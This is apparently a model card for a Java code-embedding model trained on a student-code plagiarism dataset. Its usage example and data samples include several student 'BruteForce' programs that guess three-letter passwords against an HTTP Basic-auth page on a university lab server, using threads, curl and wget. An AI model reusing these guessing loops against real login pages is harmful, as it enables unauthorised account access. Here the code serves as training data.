SentenceTransformer based on huggingface/CodeBERTa-small-v1

This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

Model Type: Sentence Transformer
Base model: huggingface/CodeBERTa-small-v1
Maximum Sequence Length: 512 tokens
Output Dimensionality: 768 dimensions
Similarity Function: Cosine Similarity
Training Dataset:
- soco_java

Model Sources

Documentation: Sentence Transformers Documentation
Repository: Sentence Transformers on GitHub
Hugging Face: Sentence Transformers on Hugging Face

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss-2")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

soco_java

Dataset: soco_java
Size: 30,069 training samples
Columns: label, text_1, and text_2
Approximate statistics based on the first 1000 samples:
label text_1 text_2
type int string string
details
0: ~99.70%
1: ~0.30%

min: 51 tokens
mean: 450.65 tokens
max: 512 tokens

min: 51 tokens
mean: 468.5 tokens
max: 512 tokens

	label	text_1	text_2
type	int	string	string
details	0: ~99.70% 1: ~0.30%	min: 51 tokens mean: 450.65 tokens max: 512 tokens	min: 51 tokens mean: 468.5 tokens max: 512 tokens

Samples:

label	text_1	text_2
`0`	import java.io.; import java.net.; import java.Runtime; import java.util.*; import java.net.smtp.SmtpClient; public class WatchDog { static String strImageOutputFile01 = "WebPageImages01.txt"; static String strImageOutputFile02 = "WebPageImages02.txt"; static String strWebPageOutputFile01 = "WebPageOutput01.txt"; static String strWebPageOutputFile02 = "WebPageOutput02.txt"; static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt"; static String strFromEmailDefault = "@.rmit.edu."; static String strToEmailDefault = "@.rmit.edu."; static String strFromEmail = null; static String strToEmail = null; public static void main (String args[]) { URL url = null; HttpURLConnection urlConnection; int intContentLength; String strWebPageText = ""; String strURL = "http://www.cs.rmit.edu./students/"; String strPrePend = "...	import java.io.; import java.net.; import java.util.*; public class Watchdog { public static void main(String args[]) { String mainLink="http://www.cs.rmit.edu./students/"; String sender = "@cs.rmit.edu."; String recipient = ""; String hostName = "yallara.cs.rmit.edu."; int delay = 86400000; try { int imgSrcIndex, imgSrcEnd; String imgLink; Vector imageList = new Vector(); HttpURLConnection imgConnection; URL imgURL; EmailClient email = new EmailClient(sender, recipient, hostName); URL url=new URL(mainLink); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream())); FileWriter fwrite = new FileWriter("local.txt"); BufferedWriter writefile = new BufferedWriter(fwrite); String line=webpage.readLine(); while (line != null) { writefile.write(line,0,line.length()); wri...
`0`	`import java.util.; import java.io.; import java.; public class Dogs5 { public static void main(String [] args) throws Exception { executes("rm index."); executes("wget http://www.cs.rmit.edu./students"); while (true) { String addr= "wget http://www.cs.rmit.edu./students"; executes(addr); String hash1 = md5sum("index.html"); String hash2 = md5sum("index.html.1"); System.out.println(hash1 +"`	"+ hash2); BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt")); String line=" " ; String line1=" " ; String line2=" "; String line3=" "; String[] cad = new String[10]; executes("./.sh"); int i=0; while ((line = buf.readLine()) != null) { line1="http://www.cs.rmit.edu./students/images"+line; if (i==1) line2="http://www.cs.rmi...
`0`	import java.util.; import java.text.; import java.io.; import java.; import java.net.*; public class WatchDog { public static void main(String args[]) { String s = null; String webpage = "http://www.cs.rmit.edu./students/"; String file1 = "file1"; String file2 = "file2"; try { Process p = Runtime.getRuntime().exec("wget -O " + file1 + " " + webpage); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch...	import java.io.; import java.net.; import java.util.; import java.String; import java.Object; import java.awt.; public class WatchDog { private URL url; private URLConnection urlcon; private int lastModifiedSince = 0; private int lastModified[] = new int[2]; private int count = 0; public static String oldFile; public static String newFile; private String diffFile; private BufferedWriter bw; private Process p; private Runtime r; private String fileName; private ArrayList old[]= new ArrayList[500]; private ArrayList news[] = new ArrayList[500]; private String info = ""; private int index = 0; public WatchDog(String fileName) { this.fileName = fileName; oldFile = fileName + ".old"; newFile = fileName + ".new"; diffFile = "testFile.txt"; } public static void main(String args[]) { WatchDog wd = new WatchDog("TestDog"); wd.detectChange(WatchDog.oldFile); while (true) { try { Thread.slee...

Loss: SoftmaxLoss

Evaluation Dataset

soco_java

Dataset: soco_java at c8fab14
Size: 3,342 evaluation samples
Columns: label, text_1, and text_2
Approximate statistics based on the first 1000 samples:
label text_1 text_2
type int string string
details
0: ~99.40%
1: ~0.60%

min: 51 tokens
mean: 443.11 tokens
max: 512 tokens

min: 51 tokens
mean: 467.05 tokens
max: 512 tokens

	label	text_1	text_2
type	int	string	string
details	0: ~99.40% 1: ~0.60%	min: 51 tokens mean: 443.11 tokens max: 512 tokens	min: 51 tokens mean: 467.05 tokens max: 512 tokens

Samples:

label	text_1	text_2
`0`	import java.Runtime; import java.io.*; public class differenceFile { StringWriter sw =null; PrintWriter pw = null; public differenceFile() { sw = new StringWriter(); pw = new PrintWriter(); } public String compareFile() { try { Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt"); InputStream write = sw.getInputStream(); BufferedReader bf = new BufferedReader (new InputStreamReader(write)); String line; while((line = bf.readLine())!=null) pw.println(line); if((sw.toString().trim()).equals("")) { System.out.println(" difference"); return null; } System.out.println(sw.toString().trim()); }catch(Exception e){} return sw.toString().trim(); } }	import java.; import java.io.; import java.util.*; public class BruteForce { public static void main(String[] args) { Runtime rt = Runtime.getRuntime(); Process pr= null; char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; String pass; char temp[] = {'a','a'}; char temp1[] = {'a','a','a'}; char temp2[] = {'a'}; String f= new String(); String resp = new String(); int count=0; String success = new String(); InputStreamReader instre; BufferedReader bufread; for(int k=0;k<52;k++) { temp2[0]=chars[k]; pass = new String(temp2); count++; System.out.println("The password tried ...
`0`	import java.io.; import java.net.; import java.util.*; public class Watchdog { public static void main(String args[]) { String mainLink="http://www.cs.rmit.edu./students/"; String sender = "@cs.rmit.edu."; String recipient = ""; String hostName = "yallara.cs.rmit.edu."; int delay = 86400000; try { int imgSrcIndex, imgSrcEnd; String imgLink; Vector imageList = new Vector(); HttpURLConnection imgConnection; URL imgURL; EmailClient email = new EmailClient(sender, recipient, hostName); URL url=new URL(mainLink); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream())); FileWriter fwrite = new FileWriter("local.txt"); BufferedWriter writefile = new BufferedWriter(fwrite); String line=webpage.readLine(); while (line != null) { writefile.write(line,0,line.length()); wri...	import java.net.; import java.io.; import java.String; import java.; import java.util.; public class BruteForce { private static final int passwdLength = 3; private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :"; private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; private int charLen = chars.length(); private int n = 0; private int n3 = charLencharLencharLen; private String response; private String[] password = new String[charLencharLencharLen+charLen*charLen+charLen]; private char[][] data = new char[passwdLength][charLen]; private char[] pwdChar2 = new char[2]; private char[] pwdChar = new char[passwdLength]; private String url; private int startTime; private int endTime; private int totalTime; private float averageTime; private boolean finish; private Process curl; private BufferedReader bf, responseLine; ...
`0`	import java.io.; import java.awt.; import java.net.*; public class BruteForce { public static void main (String[] args) { String pw = new String(); pw = getPassword (); System.out.println("Password is: "+pw); } public static String getPassword() { String passWord = new String(); passWord = "AAA"; char[] guess = passWord.toCharArray(); Process pro = null; Runtime runtime = Runtime.getRuntime(); BufferedReader in = null; String str=null; boolean found = true; System.out.println(" attacking....."); for (int i=65;i<=122 ;i++ ) { guess[0]=(char)(i); for (int j=65;j<=122 ;j++ ) { guess[1]=(char)(j); for (int k=65 ;k<=122 ;k++ ) { guess[2]=(char)(k); passWord = new String(guess); String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php "; try { pro = runtime.exec(cmd); in = new BufferedReader(new InputStreamReader(pro.getErrorSt...	import java.io.; import java.text.; import java.util.; import java.net.; public class BruteForce extends Thread { private static final String USERNAME = ""; private static final char [] POSSIBLE_CHAR = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; private static int NUMBER_OF_THREAD = 500; private static Date startDate = null; private static Date endDate = null; private String address; private String password; public BruteForce(String address, String password) { this.address = address; this.password = password; } public static void main(String[] args) throws IOException { if (args.length < 1) { System.err.println("Invalid usage!"); System.err.println("...

Loss: SoftmaxLoss

Training Hyperparameters

Non-Default Hyperparameters

per_device_train_batch_size: 16
per_device_eval_batch_size: 16
learning_rate: 2e-05
num_train_epochs: 1
warmup_ratio: 0.1
fp16: True

All Hyperparameters

Click to expand

overwrite_output_dir: False
do_predict: False
eval_strategy: no
prediction_loss_only: True
per_device_train_batch_size: 16
per_device_eval_batch_size: 16
per_gpu_train_batch_size: None
per_gpu_eval_batch_size: None
gradient_accumulation_steps: 1
eval_accumulation_steps: None
torch_empty_cache_steps: None
learning_rate: 2e-05
weight_decay: 0.0
adam_beta1: 0.9
adam_beta2: 0.999
adam_epsilon: 1e-08
max_grad_norm: 1.0
num_train_epochs: 1
max_steps: -1
lr_scheduler_type: linear
lr_scheduler_kwargs: {}
warmup_ratio: 0.1
warmup_steps: 0
log_level: passive
log_level_replica: warning
log_on_each_node: True
logging_nan_inf_filter: True
save_safetensors: True
save_on_each_node: False
save_only_model: False
restore_callback_states_from_checkpoint: False
no_cuda: False
use_cpu: False
use_mps_device: False
seed: 42
data_seed: None
jit_mode_eval: False
use_ipex: False
bf16: False
fp16: True
fp16_opt_level: O1
half_precision_backend: auto
bf16_full_eval: False
fp16_full_eval: False
tf32: None
local_rank: 0
ddp_backend: None
tpu_num_cores: None
tpu_metrics_debug: False
debug: []
dataloader_drop_last: False
dataloader_num_workers: 0
dataloader_prefetch_factor: None
past_index: -1
disable_tqdm: False
remove_unused_columns: True
label_names: None
load_best_model_at_end: False
ignore_data_skip: False
fsdp: []
fsdp_min_num_params: 0
fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
fsdp_transformer_layer_cls_to_wrap: None
accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
deepspeed: None
label_smoothing_factor: 0.0
optim: adamw_torch
optim_args: None
adafactor: False
group_by_length: False
length_column_name: length
ddp_find_unused_parameters: None
ddp_bucket_cap_mb: None
ddp_broadcast_buffers: False
dataloader_pin_memory: True
dataloader_persistent_workers: False
skip_memory_metrics: True
use_legacy_prediction_loop: False
push_to_hub: False
resume_from_checkpoint: None
hub_model_id: None
hub_strategy: every_save
hub_private_repo: None
hub_always_push: False
gradient_checkpointing: False
gradient_checkpointing_kwargs: None
include_inputs_for_metrics: False
include_for_metrics: []
eval_do_concat_batches: True
fp16_backend: auto
push_to_hub_model_id: None
push_to_hub_organization: None
mp_parameters:
auto_find_batch_size: False
full_determinism: False
torchdynamo: None
ray_scope: last
ddp_timeout: 1800
torch_compile: False
torch_compile_backend: None
torch_compile_mode: None
include_tokens_per_second: False
include_num_input_tokens_seen: False
neftune_noise_alpha: None
optim_target_modules: None
batch_eval_metrics: False
eval_on_start: False
use_liger_kernel: False
eval_use_gather_object: False
average_tokens_across_devices: False
prompts: None
batch_sampler: batch_sampler
multi_dataset_batch_sampler: proportional

Training Logs

Epoch	Step	Training Loss	Validation Loss
0.0532	100	0.2015	0.0240
0.1064	200	0.0143	0.0209
0.1596	300	0.0241	0.0241
0.2128	400	0.0174	0.0213
0.2660	500	0.0228	0.0206
0.3191	600	0.0061	0.0226
0.3723	700	0.0194	0.0208
0.4255	800	0.0193	0.0197
0.4787	900	0.0261	0.0175
0.5319	1000	0.0189	0.0178
0.5851	1100	0.0089	0.0188
0.6383	1200	0.0174	0.0161
0.6915	1300	0.0171	0.0162
0.7447	1400	0.0149	0.0155
0.7979	1500	0.011	0.0164
0.8511	1600	0.0308	0.0160
0.9043	1700	0.0048	0.0167
0.9574	1800	0.0142	0.0164
0.0532	100	0.0049	-
0.1064	200	0.0117	-
0.1596	300	0.0151	-
0.2128	400	0.0152	-
0.2660	500	0.0138	-
0.3191	600	0.0051	-
0.3723	700	0.0143	-
0.4255	800	0.0155	-
0.4787	900	0.0147	-
0.5319	1000	0.0128	-
0.5851	1100	0.0061	-
0.6383	1200	0.0138	-
0.6915	1300	0.0082	-
0.7447	1400	0.0095	-
0.7979	1500	0.0073	-
0.8511	1600	0.0189	-
0.9043	1700	0.0028	-
0.9574	1800	0.0092	-

Framework Versions

Python: 3.11.13
Sentence Transformers: 4.1.0
Transformers: 4.52.4
PyTorch: 2.6.0+cu124
Accelerate: 1.7.0
Datasets: 3.6.0
Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers and SoftmaxLoss

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

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CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss-2

SentenceTransformer based on huggingface/CodeBERTa-small-v1

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Direct Usage (Sentence Transformers)

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soco_java

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soco_java

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Citation

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Sentence Transformers and SoftmaxLoss

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